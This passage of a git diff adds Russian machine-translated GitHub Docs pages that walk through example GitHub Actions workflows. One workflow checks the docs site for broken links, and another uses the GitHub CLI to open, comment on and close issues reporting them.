+ +```yaml{:copy} + - name: Merge docs-early-access repo's folders + if: {% raw %}${{ github.repository == 'github/docs-internal' }}{% endraw %} + run: | + mv docs-early-access/assets assets/images/early-access + mv docs-early-access/content content/early-access + mv docs-early-access/data data/early-access + rm -r docs-early-access +``` + + +Если текущий репозиторий является репозиторием `github/docs-internal`, на этом шаге используется ключевое слово `run` для выполнения команд оболочки для перемещения папок репозитория `docs-early-access` в папки основного репозитория. +
+ +```yaml{:copy} + - name: Checkout LFS objects + run: git lfs checkout +``` + + +На этом шаге выполняется команда для извлечения объектов LFS из репозитория. +
+ + +```yaml{:copy} + - name: Gather files changed + uses: trilom/file-changes-action@a6ca26c14274c33b15e6499323aac178af06ad4b + id: get_diff_files + with: + # So that `steps.get_diff_files.outputs.files` becomes + # a string like `foo.js path/bar.md` + output: ' ' +``` + + +На этом шаге используется действие `trilom/file-changes-action` для сбора файлов, измененных в запросе на вытягивание, чтобы их можно было проанализировать на следующем шаге. Этот пример закрепляется в определенной версии действия с помощью SHA `a6ca26c14274c33b15e6499323aac178af06ad4b`. +
+ +```yaml{:copy} + - name: Insight into changed files + run: | + echo {% raw %}"${{ steps.get_diff_files.outputs.files }}" > get_diff_files.txt{% endraw %} +``` + + +На этом шаге выполняется команда оболочки, которая использует выходные данные предыдущего шага для создания файла, содержащего список файлов, измененных в запросе на вытягивание. +
+ +```yaml{:copy} + - name: Setup node + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: 16.14.x + cache: npm +``` + + +На этом шаге используется действие `actions/setup-node` для установки указанной версии пакета программного обеспечения `node` в средстве выполнения тестов, которое предоставляет доступ к команде `npm`. +
+ +```yaml{:copy} + - name: Install dependencies + run: npm ci +``` + + +На этом шаге выполняется команда оболочки `npm ci` для установки пакетов программного обеспечения npm для проекта. +
+ +```yaml{:copy} + - name: Cache nextjs build + uses: {% data reusables.actions.action-cache %} + with: + path: .next/cache + key: {% raw %}${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}{% endraw %} +``` + + +На этом шаге используется действие `actions/cache` для кэширования сборки Next.js, чтобы рабочий процесс пытался получить кэш сборки, а не перестраивать его с нуля каждый раз. Дополнительные сведения см. в разделе [Кэширование зависимостей для ускорения рабочих процессов](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). +
+ +```yaml{:copy} + - name: Run build script + run: npm run build +``` + + +На этом шаге запускается скрипт сборки. +
+ +```yaml{:copy} + - name: Run tests + env: + DIFF_FILE: get_diff_files.txt + CHANGELOG_CACHE_FILE_PATH: tests/fixtures/changelog-feed.json + run: npm test -- {% raw %}tests/${{ matrix.test-group }}/{% endraw %} +``` + + +На этом шаге выполняются тесты с использованием `npm test`, а матрица тестов предоставляет другое значение для {% raw %}`${{ matrix.test-group }}`{% endraw %} для каждого задания в матрице. Она использует переменную среды `DIFF_FILE`, чтобы узнать, какие файлы были изменены, и переменную среды `CHANGELOG_CACHE_FILE_PATH` для файла кэша изменений. +
+ +## Дальнейшие действия + +{% data reusables.actions.learning-actions %} diff --git a/translations/ru-RU/content/actions/examples/using-scripts-to-test-your-code-on-a-runner.md b/translations/ru-RU/content/actions/examples/using-scripts-to-test-your-code-on-a-runner.md new file mode 100644 index 000000000000..4b246016912e --- /dev/null +++ b/translations/ru-RU/content/actions/examples/using-scripts-to-test-your-code-on-a-runner.md @@ -0,0 +1,410 @@ +--- +title: Использование скриптов для тестирования кода в средстве выполнения тестов +shortTitle: Use scripts to test your code on a runner +intro: 'Использование основных функций {% data variables.product.prodname_actions %} для непрерывной интеграции (CI).' +versions: + fpt: '*' + ghes: '> 3.1' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Workflows +ms.openlocfilehash: 05204ce87cd5b8ef3260c997d36a9656fc08d7f1 +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: '148093972' +--- +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор примера + +{% data reusables.actions.example-workflow-intro-ci %} При активации этого рабочего процесса он автоматически запускает скрипт, который проверяет, есть ли на сайте Документов {% data variables.product.prodname_dotcom %} неработающие ссылки. + +{% data reusables.actions.example-diagram-intro %} + +![Обзорная схема этапов рабочего процесса](/assets/images/help/images/overview-actions-using-scripts-ci-example.png) + +## Функции, используемые в этом примере + +{% data reusables.actions.example-table-intro %} + +| **Возможность** | **Реализация** | +| --- | --- | +{% data reusables.actions.push-table-entry %} {% data reusables.actions.pull-request-table-entry %} {% data reusables.actions.workflow-dispatch-table-entry %} {% data reusables.actions.permissions-table-entry %} {% data reusables.actions.concurrency-table-entry %} | Выполнение задания в различных средствах выполнения тестов в зависимости от репозитория: | [`runs-on`](/actions/using-jobs/choosing-the-runner-for-a-job)| {% data reusables.actions.checkout-action-table-entry %} {% data reusables.actions.setup-node-table-entry %} | Использование стороннего действия: | [`trilom/file-changes-action`](https://github.com/trilom/file-changes-action)| | Выполнение скрипта в средстве выполнения тестов: | Использование `./script/rendered-content-link-checker.mjs` | + +## Пример рабочего процесса + +{% data reusables.actions.example-docs-engineering-intro %} [`check-broken-links-github-github.yml`](https://github.com/github/docs/blob/main/.github/workflows/check-broken-links-github-github.yml). + +{% data reusables.actions.note-understanding-example %} + + + + + + + + + + + + +
+ +```yaml{:copy} +name: 'Link Checker: All English' + +# **What it does**: Renders the content of every page and check all internal links. +# **Why we have it**: To make sure all links connect correctly. +# **Who does it impact**: Docs content. + +on: + workflow_dispatch: + push: + branches: + - main + pull_request: + +permissions: + contents: read + # Needed for the 'trilom/file-changes-action' action + pull-requests: read + +# This allows a subsequently queued workflow run to interrupt previous runs +concurrency: + group: {% raw %}'${{ github.workflow }} @ ${{ github.event.pull_request.head.label || github.head_ref || github.ref }}'{% endraw %} + cancel-in-progress: true + +jobs: + check-links: + runs-on: {% raw %}${{ fromJSON('["ubuntu-latest", "self-hosted"]')[github.repository == 'github/docs-internal'] }}{% endraw %} + steps: + - name: Checkout + uses: {% data reusables.actions.action-checkout %} + + - name: Setup node + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: 16.13.x + cache: npm + + - name: Install + run: npm ci + + # Creates file "${{ env.HOME }}/files.json", among others + - name: Gather files changed + uses: trilom/file-changes-action@a6ca26c14274c33b15e6499323aac178af06ad4b + with: + fileOutput: 'json' + + # For verification + - name: Show files changed + run: cat $HOME/files.json + + - name: Link check (warnings, changed files) + run: | + ./script/rendered-content-link-checker.mjs \ + --language en \ + --max 100 \ + --check-anchors \ + --check-images \ + --verbose \ + --list $HOME/files.json + + - name: Link check (critical, all files) + run: | + ./script/rendered-content-link-checker.mjs \ + --language en \ + --exit \ + --verbose \ + --check-images \ + --level critical +``` +
+ +## Общие сведения о примере + +{% data reusables.actions.example-explanation-table-intro %} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
КодПояснение
+ +```yaml{:copy} +name: 'Link Checker: All English' +``` + + +{% data reusables.actions.explanation-name-key %} +
+ +```yaml{:copy} +on: +``` + + +Ключевое слово `on` позволяет определять события, которые активируются при запуске рабочего процесса. Здесь можно определить несколько событий. Дополнительные сведения см. в статье [Активация рабочего процесса](/actions/using-workflows/triggering-a-workflow#using-events-to-trigger-workflows). +
+ +```yaml{:copy} + workflow_dispatch: +``` + + +Добавьте событие `workflow_dispatch`, если требуется возможность вручную запустить этот рабочий процесс из пользовательского интерфейса. Дополнительные сведения см. на веб-сайте [`workflow_dispatch`](/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch). +
+ +```yaml{:copy} + push: + branches: + - main +``` + + +Добавьте событие `push`, чтобы рабочий процесс запускался автоматически при каждой отправке фиксации в ветвь с именем `main`. Дополнительные сведения см. на веб-сайте [`push`](/actions/using-workflows/events-that-trigger-workflows#push). +
+ +```yaml{:copy} + pull_request: +``` + + +Добавьте событие `pull_request`, чтобы рабочий процесс запускался автоматически при каждом создании или обновлении запроса на вытягивание. Дополнительные сведения см. на веб-сайте [`pull_request`](/actions/using-workflows/events-that-trigger-workflows#pull_request). +
+ +```yaml{:copy} +permissions: + contents: read + pull-requests: read +``` + + +Изменяет разрешения по умолчанию, предоставленные `GITHUB_TOKEN`. Зависит от потребностей рабочего процесса. Дополнительные сведения см. в статье [Назначение разрешений заданиям](/actions/using-jobs/assigning-permissions-to-jobs). +
+ +{% raw %} +```yaml{:copy} +concurrency: + group: '${{ github.workflow }} @ ${{ github.event.pull_request.head.label || github.head_ref || github.ref }}' +``` +{% endraw %} + + +Создает группу параллелизма для определенных событий и использует оператор `||` для определения резервных значений. Дополнительные сведения см. в статье [Использование параллелизма](/actions/using-jobs/using-concurrency). +
+ +```yaml{:copy} + cancel-in-progress: true +``` + + +Отменяет задание или рабочий процесс, которые сейчас выполняются в той же группе параллелизма. +
+ +```yaml{:copy} +jobs: +``` + + +Объединяет все задания, выполняемые в файле рабочего процесса. +
+ +```yaml{:copy} + check-links: +``` + + +Определяет задание с идентификатором `check-links`, которое хранится в ключе `jobs`. +
+ +{% raw %} +```yaml{:copy} + runs-on: ${{ fromJSON('["ubuntu-latest", "self-hosted"]')[github.repository == 'github/docs-internal'] }} +``` +{% endraw %} + + +Настраивает задание для запуска в средстве выполнения тестов, размещенном в {% data variables.product.prodname_dotcom %}, или в локальном средстве выполнения тестов в зависимости от репозитория, выполняющего рабочий процесс. В этом примере задание будет выполняться в локальном средстве выполнения тестов, если репозиторий называется `docs-internal` и находится в организации `github`. Если репозиторий не соответствует этому пути, задание будет выполняться в средстве выполнения тестов `ubuntu-latest`, размещенном в {% data variables.product.prodname_dotcom %}. Дополнительные сведения об этих вариантах см. в статье [Выбор средства выполнения тестов для задания](/actions/using-jobs/choosing-the-runner-for-a-job). +
+ +```yaml{:copy} + steps: +``` + + +Группирует все шаги, которые будут выполняться в рамках задания `check-links`. Каждое задание в рабочем процессе имеет собственный раздел `steps`. +
+ +```yaml{:copy} + - name: Checkout + uses: {% data reusables.actions.action-checkout %} +``` + + +Ключевое слово `uses` сообщает заданию, что нужно получить действие с именем `actions/checkout`. Это действие, которое извлекает репозиторий и загружает его в средство выполнения, позволяя выполнять действия в коде (например, средства тестирования). Действие извлечения необходимо использовать в любой момент, когда рабочий процесс будет выполняться в коде репозитория или если вы используете действие, определенное в репозитории. +
+ +```yaml{:copy} + - name: Setup node + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: 16.13.x + cache: npm +``` + + +На этом шаге используется действие `actions/setup-node` для установки указанной версии пакета программного обеспечения Node.js в средстве выполнения тестов, которое предоставляет доступ к команде `npm`. +
+ +```yaml{:copy} + - name: Install + run: npm ci +``` + + +Ключевое слово `run` указывает заданию выполнить команду в средстве выполнения. В этом случае `npm ci` используется для установки пакетов программного обеспечения npm для проекта. +
+ +```yaml{:copy} + - name: Gather files changed + uses: trilom/file-changes-action@a6ca26c14274c33b15e6499323aac178af06ad4b + with: + fileOutput: 'json' +``` + + +Использует действие `trilom/file-changes-action` для сбора всех измененных файлов. Этот пример закреплен к определенной версии действия с помощью SHA `a6ca26c14274c33b15e6499323aac178af06ad4b`. +
+ +```yaml{:copy} + - name: Show files changed + run: cat $HOME/files.json +``` + + +Выводит список содержимого `files.json`. Это отразится в журнале выполнения рабочего процесса и может быть полезно для отладки. +
+ +```yaml{:copy} + - name: Link check (warnings, changed files) + run: | + ./script/rendered-content-link-checker.mjs \ + --language en \ + --max 100 \ + --check-anchors \ + --check-images \ + --verbose \ + --list $HOME/files.json +``` + + +На этом шаге используется команда `run` для выполнения скрипта, хранящегося в репозитории `script/rendered-content-link-checker.mjs`, которая передает все необходимые параметры. +
+ +```yaml{:copy} + - name: Link check (critical, all files) + run: | + ./script/rendered-content-link-checker.mjs \ + --language en \ + --exit \ + --verbose \ + --check-images \ + --level critical +``` + + +На этом шаге используется команда `run` для выполнения скрипта, хранящегося в репозитории `script/rendered-content-link-checker.mjs`, которая передает другой набор параметров. +
+ +## Дальнейшие действия + +{% data reusables.actions.learning-actions %} diff --git a/translations/ru-RU/content/actions/examples/using-the-github-cli-on-a-runner.md b/translations/ru-RU/content/actions/examples/using-the-github-cli-on-a-runner.md new file mode 100644 index 000000000000..d5d524c781a0 --- /dev/null +++ b/translations/ru-RU/content/actions/examples/using-the-github-cli-on-a-runner.md @@ -0,0 +1,485 @@ +--- +title: Использование интерфейса командной строки GitHub в средстве выполнения +shortTitle: Use the GitHub CLI on a runner +intro: 'Использование расширенных функций {% data variables.product.prodname_actions %} для непрерывной интеграции (CI).' +versions: + fpt: '*' + ghes: '> 3.1' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Workflows +ms.openlocfilehash: e0787d09cd194de0038d259c1aff777cc91a4a6a +ms.sourcegitcommit: bf11c3e08cbb5eab6320e0de35b32ade6d863c03 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148111588' +--- +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор примера + +{% data reusables.actions.example-workflow-intro-ci %} При активации этого рабочего процесса он автоматически запускает скрипт, который проверяет, есть ли на сайте Документов {% data variables.product.prodname_dotcom %} неработающие ссылки. Если обнаруживаются неработающие ссылки, рабочий процесс использует интерфейс командной строки {% data variables.product.prodname_dotcom %} для создания проблемы {% data variables.product.prodname_dotcom %} с подробными сведениями. + +{% data reusables.actions.example-diagram-intro %} + +![Обзорная схема этапов рабочего процесса](/assets/images/help/images/overview-actions-using-cli-ci-example.png) + +## Функции, используемые в этом примере + +{% data reusables.actions.example-table-intro %} + +| **Возможность** | **Реализация** | +| --- | --- | +{% data reusables.actions.cron-table-entry %} {% data reusables.actions.permissions-table-entry %} {% data reusables.actions.if-conditions-table-entry %} {% data reusables.actions.secrets-table-entry %} {% data reusables.actions.checkout-action-table-entry %} {% data reusables.actions.setup-node-table-entry %} | Использование стороннего действия: | [`peter-evans/create-issue-from-file`](https://github.com/peter-evans/create-issue-from-file)| | Выполнение команд оболочки в средстве выполнения: | [`run`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun) | | Выполнение скрипта в средстве выполнения: | Использование `script/check-english-links.js` | | Создание выходного файла: | Передача выходных данных с помощью оператора `>` | | Проверка существующих проблем с использованием {% data variables.product.prodname_cli %}: | [`gh issue list`](https://cli.github.com/manual/gh_issue_list) | | Комментирование проблемы с использованием {% data variables.product.prodname_cli %}: | [`gh issue comment`](https://cli.github.com/manual/gh_issue_comment) | + +## Пример рабочего процесса + +{% data reusables.actions.example-docs-engineering-intro %} [`check-all-english-links.yml`](https://github.com/github/docs/blob/6e01c0653836c10d7e092a17566a2c88b10504ce/.github/workflows/check-all-english-links.yml). + +{% data reusables.actions.note-understanding-example %} + + + + + + + + + + + + +
+ +```yaml{:copy} +name: Check all English links + +# **What it does**: This script once a day checks all English links and reports in issues. +# **Why we have it**: We want to know if any links break. +# **Who does it impact**: Docs content. + +on: + workflow_dispatch: + schedule: + - cron: '40 19 * * *' # once a day at 19:40 UTC / 11:40 PST + +permissions: + contents: read + issues: write + +jobs: + check_all_english_links: + name: Check all links + if: github.repository == 'github/docs-internal' + runs-on: ubuntu-latest + env: + GITHUB_TOKEN: {% raw %}${{ secrets.DOCUBOT_READORG_REPO_WORKFLOW_SCOPES }}{% endraw %} + FIRST_RESPONDER_PROJECT: Docs content first responder + REPORT_AUTHOR: docubot + REPORT_LABEL: broken link report + REPORT_REPOSITORY: github/docs-content + steps: + - name: Check out repo's default branch + uses: {% data reusables.actions.action-checkout %} + - name: Setup Node + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: 16.13.x + cache: npm + - name: npm ci + run: npm ci + - name: npm run build + run: npm run build + - name: Run script + run: | + script/check-english-links.js > broken_links.md + + # check-english-links.js returns 0 if no links are broken, and 1 if any links + # are broken. When an Actions step's exit code is 1, the action run's job status + # is failure and the run ends. The following steps create an issue for the + # broken link report only if any links are broken, so {% raw %}`if: ${{ failure() }}`{% endraw %} + # ensures the steps run despite the previous step's failure of the job. + + - if: {% raw %}${{ failure() }}{% endraw %} + name: Get title for issue + id: check +{%- ifversion actions-save-state-set-output-envs %} + run: echo "title=$(head -1 broken_links.md)" >> $GITHUB_OUTPUT +{%- else %} + run: echo "::set-output name=title::$(head -1 broken_links.md)" +{%- endif %} + - if: {% raw %}${{ failure() }}{% endraw %} + name: Create issue from file + id: broken-link-report + uses: peter-evans/create-issue-from-file@b4f9ee0a9d4abbfc6986601d9b1a4f8f8e74c77e + with: + token: {% raw %}${{ env.GITHUB_TOKEN }}{% endraw %} + + title: {% raw %}${{ steps.check.outputs.title }}{% endraw %} + content-filepath: ./broken_links.md + repository: {% raw %}${{ env.REPORT_REPOSITORY }}{% endraw %} + labels: {% raw %}${{ env.REPORT_LABEL }}{% endraw %} + - if: {% raw %}${{ failure() }}{% endraw %} + name: Close and/or comment on old issues + env: + {% raw %}NEW_REPORT_URL: 'https://github.com/${{ env.REPORT_REPOSITORY }}/issues/${{ steps.broken-link-report.outputs.issue-number }}'{% endraw %} + run: | + gh alias set list-reports "issue list \ + --repo {% raw %}${{ env.REPORT_REPOSITORY }} \{% endraw %} + --author {% raw %}${{ env.REPORT_AUTHOR }} \{% endraw %} + --label {% raw %}'${{ env.REPORT_LABEL }}'"{% endraw %} + + # Link to the previous report from the new report that triggered this + # workflow run. + + previous_report_url=$(gh list-reports \ + --state all \ + --limit 2 \ + --json url \ + --jq '.[].url' \ + | grep -v {% raw %}${{ env.NEW_REPORT_URL }}{% endraw %} | head -1) + + gh issue comment {% raw %}${{ env.NEW_REPORT_URL }}{% endraw %} --body "⬅️ [Previous report]($previous_report_url)" + + # If an old report is open and assigned to someone, link to the newer + # report without closing the old report. + + for issue_url in $(gh list-reports \ + --json assignees,url \ + --jq '.[] | select (.assignees != []) | .url'); do + if [ "$issue_url" != {% raw %}"${{ env.NEW_REPORT_URL }}"{% endraw %} ]; then + gh issue comment $issue_url --body "➡️ [Newer report]({% raw %}${{ env.NEW_REPORT_URL }}{% endraw %})" + fi + done + + # Link to the newer report from any older report that is still open, + # then close the older report and remove it from the first responder's + # project board. + + for issue_url in $(gh list-reports \ + --search 'no:assignee' \ + --json url \ + --jq '.[].url'); do + if [ "$issue_url" != {% raw %}"${{ env.NEW_REPORT_URL }}"{% endraw %} ]; then + gh issue comment $issue_url --body "➡️ [Newer report]({% raw %}${{ env.NEW_REPORT_URL }})"{% endraw %} + gh issue close $issue_url + gh issue edit $issue_url --remove-project "{% raw %}${{ env.FIRST_RESPONDER_PROJECT }}"{% endraw %} + fi + done +``` +
+ +## Общие сведения о примере + +{% data reusables.actions.example-explanation-table-intro %} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
КодПояснение
+ +```yaml{:copy} +name: Check all English links +``` + + +{% data reusables.actions.explanation-name-key %} +
+ +```yaml{:copy} +on: + workflow_dispatch: + schedule: + - cron: '40 20 * * *' # once a day at 20:40 UTC / 12:40 PST +``` + + +Определяет `workflow_dispatch` и `scheduled` как триггеры рабочего процесса: + +* `workflow_dispatch` позволяет вам вручную запустить рабочий процесс из пользовательского интерфейса. Дополнительные сведения см. на веб-сайте [`workflow_dispatch`](/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch). +* Событие `schedule` позволяет использовать синтаксис `cron`, чтобы определить регулярный интервал для автоматического запуска рабочего процесса. Дополнительные сведения см. на веб-сайте [`schedule`](/actions/reference/events-that-trigger-workflows#schedule). +
+ +```yaml{:copy} +permissions: + contents: read + issues: write +``` + + +Изменяет разрешения по умолчанию, предоставленные `GITHUB_TOKEN`. Зависит от потребностей рабочего процесса. Дополнительные сведения см. в статье [Назначение разрешений заданиям](/actions/using-jobs/assigning-permissions-to-jobs). +
+ +```yaml{:copy} +jobs: +``` + + +Объединяет все задания, выполняемые в файле рабочего процесса. +
+ +```yaml{:copy} + check_all_english_links: + name: Check all links +``` + + +Определяет задание с идентификатором `check_all_english_links` и именем `Check all links`, которое хранится в ключе `jobs`. +
+ +```yaml{:copy} +if: github.repository == 'github/docs-internal' +``` + + +Задание `check_all_english_links` можно выполнять только в том случае, если репозиторий имеет имя `docs-internal` и находится в организации `github`. В противном случае задание будет отмечено как _пропущенное_. +
+ +```yaml{:copy} +runs-on: ubuntu-latest +``` + + +Настраивает задание для выполнения в последней версии средства выполнения Ubuntu Linux. Это означает, что задание будет выполняться на новой виртуальной машине, размещенной в {% data variables.product.prodname_dotcom %}. Примеры синтаксиса, где используются другие средства выполнения тестов, см. в статье «[Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on)». +
+ +```yaml{:copy} + env: + GITHUB_TOKEN: {% raw %}${{ secrets.DOCUBOT_READORG_REPO_WORKFLOW_SCOPES }}{% endraw %} + REPORT_AUTHOR: docubot + REPORT_LABEL: broken link report + REPORT_REPOSITORY: github/docs-content +``` + + +Создает пользовательские переменные среды и переопределяет встроенную переменную `GITHUB_TOKEN` для использования пользовательского [секрета](/actions/security-guides/encrypted-secrets). На эти переменные будут использоваться ссылки позже в рабочем процессе. +
+ +```yaml{:copy} + steps: +``` + + +Группируют все шаги, которые будут выполняться в рамках задания `check_all_english_links`. Каждое задание в рабочем процессе имеет собственный раздел `steps`. +
+ +```yaml{:copy} + - name: Check out repo's default branch + uses: {% data reusables.actions.action-checkout %} +``` + + +Ключевое слово `uses` сообщает заданию, что нужно получить действие с именем `actions/checkout`. Это действие, которое извлекает репозиторий и загружает его в средство выполнения, позволяя выполнять действия в коде (например, средства тестирования). Действие оформления заказа необходимо использовать в любой момент, когда рабочий процесс будет выполняться в коде репозитория или если вы используете действие, определенное в репозитории. +
+ +```yaml{:copy} + - name: Setup Node + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: 16.8.x + cache: npm +``` + + +На этом шаге используется действие `actions/setup-node` для установки указанной версии пакета программного обеспечения `node` в средстве выполнения, которое предоставляет доступ к команде `npm`. +
+ +```yaml{:copy} + - name: Run the "npm ci" command + run: npm ci + - name: Run the "npm run build" command + run: npm run build +``` + + +Ключевое слово `run` указывает заданию выполнить команду в средстве выполнения. В этом случае команды `npm ci` и `npm run build` выполняются в виде отдельных шагов для установки и сборки приложения Node.js в репозитории. +
+ +```yaml{:copy} + - name: Run script + run: | + script/check-english-links.js > broken_links.md +``` + + +Эта команда `run` выполняет скрипт, хранящийся в репозитории в `script/check-english-links.js`, и передает выходные данные в файл с именем `broken_links.md`. +
+ +```yaml{:copy} + - if: {% raw %}${{ failure() }}{% endraw %} + name: Get title for issue + id: check +{%- ifversion actions-save-state-set-output-envs %} + run: echo "title=$(head -1 broken_links.md)" >> $GITHUB_OUTPUT +{%- else %} + run: echo "::set-output name=title::$(head -1 broken_links.md)" +{%- endif %} +``` + + +Если скрипт `check-english-links.js` обнаруживает неработающие ссылки и возвращает состояние выхода, отличное от нуля (сбой), используйте [команду рабочего процесса](/actions/using-workflows/workflow-commands-for-github-actions#setting-an-output-parameter), чтобы задать выходные данные, имеющие значение первой строки файла `broken_links.md` (используется в следующем шаге). +
+ +```yaml{:copy} + - if: {% raw %}${{ failure() }}{% endraw %} + name: Create issue from file + id: broken-link-report + uses: peter-evans/create-issue-from-file@b4f9ee0a9d4abbfc6986601d9b1a4f8f8e74c77e + with: + token: {% raw %}${{ env.GITHUB_TOKEN }}{% endraw %} + + title: {% raw %}${{ steps.check.outputs.title }}{% endraw %} + content-filepath: ./broken_links.md + repository: {% raw %}${{ env.REPORT_REPOSITORY }}{% endraw %} + labels: {% raw %}${{ env.REPORT_LABEL }}{% endraw %} +``` + + +Использует действие `peter-evans/create-issue-from-file`, чтобы создать новую проблему {% data variables.product.prodname_dotcom %}. Этот пример закреплен к определенной версии действия с помощью SHA `b4f9ee0a9d4abbfc6986601d9b1a4f8f8e74c77e`. +
+ +```yaml{:copy} + - if: {% raw %}${{ failure() }}{% endraw %} + name: Close and/or comment on old issues + env: + NEW_REPORT_URL: 'https://github.com/{% raw %}${{ env.REPORT_REPOSITORY }}{% endraw %}/issues/{% raw %}${{ steps.broken-link-report.outputs.issue-number }}{% endraw %}' + run: | + gh alias set list-reports "issue list \ + --repo {% raw %}${{ env.REPORT_REPOSITORY }}{% endraw %} \ + --author {% raw %}${{ env.REPORT_AUTHOR }}{% endraw %} \ + --label '{% raw %}${{ env.REPORT_LABEL }}{% endraw %}'" + previous_report_url=$(gh list-reports \ + --state all \ + --limit 2 \ + --json url \ + --jq '.[].url' \ + | grep -v {% raw %}${{ env.NEW_REPORT_URL }}{% endraw %} | head -1) + + gh issue comment {% raw %}${{ env.NEW_REPORT_URL }}{% endraw %} --body "⬅️ [Previous report]($previous_report_url)" +``` + + +Использует [`gh issue list`](https://cli.github.com/manual/gh_issue_list) для поиска ранее созданной проблемы из предыдущих запусков. Используется [псевдоним](https://cli.github.com/manual/gh_alias_set) `gh list-reports` для более простой обработки на последующих шагах. Чтобы получить URL-адрес проблемы, выражение `jq` обрабатывает полученные выходные данные JSON. + +Затем используется [`gh issue comment`](https://cli.github.com/manual/gh_issue_comment), чтобы добавить комментарий к новой проблеме, которая ссылается на предыдущую. +
+ +```yaml{:copy} + for issue_url in $(gh list-reports \ + --json assignees,url \ + --jq '.[] | select (.assignees != []) | .url'); do + if [ "$issue_url" != "${{ env.NEW_REPORT_URL }}" ]; then + gh issue comment $issue_url --body "➡️ [Newer report](${{ env.NEW_REPORT_URL }})" + fi + done +``` + + +Если проблема из предыдущего запуска открыта и назначена кому-либо, используйте для [`gh issue comment`](https://cli.github.com/manual/gh_issue_comment), чтобы добавить комментарий со ссылкой на новую проблему. +
+ +```yaml{:copy} + for issue_url in $(gh list-reports \ + --search 'no:assignee' \ + --json url \ + --jq '.[].url'); do + if [ "$issue_url" != "{% raw %}${{ env.NEW_REPORT_URL }}{% endraw %}" ]; then + gh issue comment $issue_url --body "➡️ [Newer report]({% raw %}${{ env.NEW_REPORT_URL }}{% endraw %})" + gh issue close $issue_url + gh issue edit $issue_url --remove-project "{% raw %}${{ env.FIRST_RESPONDER_PROJECT }}{% endraw %}" + fi + done +``` + + +Если проблема из предыдущего запуска открыта и не назначена, выполните указанные ниже действия. + +* Используйте [`gh issue comment`](https://cli.github.com/manual/gh_issue_comment), чтобы добавить комментарий со ссылкой на новую проблему. +* Используйте [`gh issue close`](https://cli.github.com/manual/gh_issue_close), чтобы закрыть старую проблему. +* Используйте [`gh issue edit`](https://cli.github.com/manual/gh_issue_edit), чтобы изменить старую проблему и удалить ее из определенной доски проекта {% data variables.product.prodname_dotcom %}. +
+ +## Дальнейшие действия + +{% data reusables.actions.learning-actions %} diff --git a/translations/ru-RU/content/actions/guides.md b/translations/ru-RU/content/actions/guides.md new file mode 100644 index 000000000000..6d0b785d09a3 --- /dev/null +++ b/translations/ru-RU/content/actions/guides.md @@ -0,0 +1,79 @@ +--- +title: Руководства по GitHub Actions +intro: 'Эти руководства по {% data variables.product.prodname_actions %} включают конкретные варианты использования и примеры, которые помогут настроить рабочие процессы.' +allowTitleToDifferFromFilename: true +layout: product-guides +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +learningTracks: + - getting_started + - adopting_github_actions_for_your_enterprise_ghec + - adopting_github_actions_for_your_enterprise_ghes_and_ghae + - hosting_your_own_runners + - create_actions +includeGuides: + - /actions/quickstart + - /actions/learn-github-actions/introduction-to-github-actions + - /actions/creating-actions/creating-a-docker-container-action + - /actions/learn-github-actions/using-starter-workflows + - /actions/automating-builds-and-tests/building-and-testing-python + - /actions/automating-builds-and-tests/building-and-testing-nodejs + - /actions/publishing-packages/about-packaging-with-github-actions + - /actions/publishing-packages/publishing-docker-images + - /actions/advanced-guides/caching-dependencies-to-speed-up-workflows + - /actions/automating-builds-and-tests/about-continuous-integration + - /actions/automating-builds-and-tests/building-and-testing-powershell + - /actions/automating-builds-and-tests/building-and-testing-ruby + - /actions/automating-builds-and-tests/building-and-testing-java-with-maven + - /actions/automating-builds-and-tests/building-and-testing-java-with-gradle + - /actions/automating-builds-and-tests/building-and-testing-java-with-ant + - /actions/automating-builds-and-tests/building-and-testing-swift + - /actions/deployment/installing-an-apple-certificate-on-macos-runners-for-xcode-development + - /actions/automating-builds-and-tests/building-and-testing-xamarin-applications + - /actions/publishing-packages/publishing-nodejs-packages + - /actions/publishing-packages/publishing-java-packages-with-maven + - /actions/publishing-packages/publishing-java-packages-with-gradle + - /actions/advanced-guides/storing-workflow-data-as-artifacts + - /actions/using-containerized-services/about-service-containers + - /actions/using-containerized-services/creating-redis-service-containers + - /actions/using-containerized-services/creating-postgresql-service-containers + - /actions/deployment/deploying-to-amazon-elastic-container-service + - /actions/deployment/deploying-to-google-kubernetes-engine + - /actions/learn-github-actions/essential-features-of-github-actions + - /actions/security-guides/security-hardening-for-github-actions + - /actions/creating-actions/about-custom-actions + - /actions/creating-actions/creating-a-javascript-action + - /actions/creating-actions/creating-a-composite-action + - /actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions + - /actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions + - /actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions + - /actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions + - /actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions + - /actions/managing-issues-and-pull-requests/using-github-actions-for-project-management + - /actions/managing-issues-and-pull-requests/closing-inactive-issues + - /actions/managing-issues-and-pull-requests/scheduling-issue-creation + - /actions/managing-issues-and-pull-requests/adding-labels-to-issues + - 